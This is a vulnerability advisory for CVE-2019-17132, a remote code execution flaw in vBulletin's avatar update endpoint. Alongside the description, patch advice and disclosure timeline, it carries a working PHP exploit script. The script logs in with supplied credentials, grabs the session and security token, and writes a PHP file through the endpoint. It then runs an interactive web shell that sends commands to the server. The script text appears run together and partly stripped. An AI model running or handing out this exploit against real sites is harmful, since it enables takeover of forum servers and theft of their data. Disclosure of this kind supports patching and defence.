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vBulletin <= 5.5.4 (updateAvatar) Remote Code Execution Vulnerability
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[-] Software Link:

https://www.vbulletin.com/


[-] Affected Versions:

Version 5.5.4 and prior versions.


[-] Vulnerability Description:

User input passed through the "data[extension]" and "data[filedata]" 
parameters
to the "ajax/api/user/updateAvatar" endpoint is not properly validated 
before
being used to update users' avatars. This can be exploited to inject and 
execute
arbitrary PHP code. Successful exploitation of this vulnerability 
requires
the "Save Avatars as Files" option to be enabled (disabled by default).


[-] Proof of Concept:

http://karmainsecurity.com/pocs/CVE-2019-17132

-----
\n"; print "\nExample....: php $argv[0] http://localhost/vb/ user passwd"; print "\nExample....: php $argv[0] https://vbulletin.com/ evil hacker\n\n"; die(); } list($url, $user, $pass) = [$argv[1], $argv[2], $argv[3]]; $ch = curl_init(); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_HEADER, true); print "\n[-] Logging in with username '{$user}' and password '{$pass}'\n"; curl_setopt($ch, CURLOPT_URL, $url); if (!preg_match("/Cookie: .*sessionhash=[^;]+/", curl_exec($ch), $sid)) die("[-] Session ID not found!\n"); curl_setopt($ch, CURLOPT_URL, "{$url}?routestring=auth/login"); curl_setopt($ch, CURLOPT_HTTPHEADER, $sid); curl_setopt($ch, CURLOPT_POSTFIELDS, "username={$user}&password={$pass}"); if (!preg_match("/Cookie: .*sessionhash=[^;]+/", curl_exec($ch), $sid)) die("[-] Login failed!\n"); print "[-] Logged-in! Retrieving security token...\n"; curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_POST, false); curl_setopt($ch, CURLOPT_HTTPHEADER, $sid); if (!preg_match('/token": "([^"]+)"/', curl_exec($ch), $token)) die("[-] Security token not found!\n"); print "[-] Uploading new avatar...\n"; $params = ["profilePhotoFile" => new CURLFile("avatar.jpeg"), "securitytoken" => $token[1]]; curl_setopt($ch, CURLOPT_URL, "{$url}?routestring=profile/upload-profilepicture"); curl_setopt($ch, CURLOPT_POSTFIELDS, $params); curl_setopt($ch, CURLOPT_HEADER, false); if (($path = (json_decode(curl_exec($ch)))->avatarpath) == null) die("[-] Upload failed!\n"); if (preg_match('/image\.php\?/', $path)) die("[-] Sorry, the 'Save Avatars as Files' option is disabled!\n"); print "[-] Updating avatar with PHP shell...\n"; $php_code = ''; $params = ["routestring" => "ajax/api/user/updateAvatar", "userid" => 0, "avatarid" => 0, "data[extension]" => "php", "data[filedata]" => $php_code, "securitytoken" => $token[1]]; curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($params)); if (curl_exec($ch) !== "true") die("[-] Update failed!\n"); print "[-] Launching shell...\n"; preg_match('/(\d+)\.jpeg/', $path, $m); $path = preg_replace('/(\d+)\.jpeg/', ($m[1]+1).".php", $path); curl_setopt($ch, CURLOPT_URL, "{$url}core/{$path}"); curl_setopt($ch, CURLOPT_POST, false); while(1) { print "\nvb-shell# "; if (($cmd = trim(fgets(STDIN))) == "exit") break; curl_setopt($ch, CURLOPT_HTTPHEADER, ["CMD: ".base64_encode($cmd)]); preg_match('/____(.*)/s', curl_exec($ch), $m) ? print $m[1] : die("\n[-] Exploit failed!\n"); } 
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[-] Solution:

Apply the vendor Security Patch Level 2 or upgrade to version 5.5.5 or 
later.


[-] Disclosure Timeline:

[30/09/2019] - Vendor notified
[03/10/2019] - Patch released: https://bit.ly/2OptAzI
[04/10/2019] - CVE number assigned
[07/10/2019] - Public disclosure


[-] CVE Reference:

The Common Vulnerabilities and Exposures project (cve.mitre.org)
has assigned the name CVE-2019-17132 to this vulnerability.


[-] Credits:

Vulnerability discovered by Egidio Romano.


[-] Original Advisory:

http://karmainsecurity.com/KIS-2019-02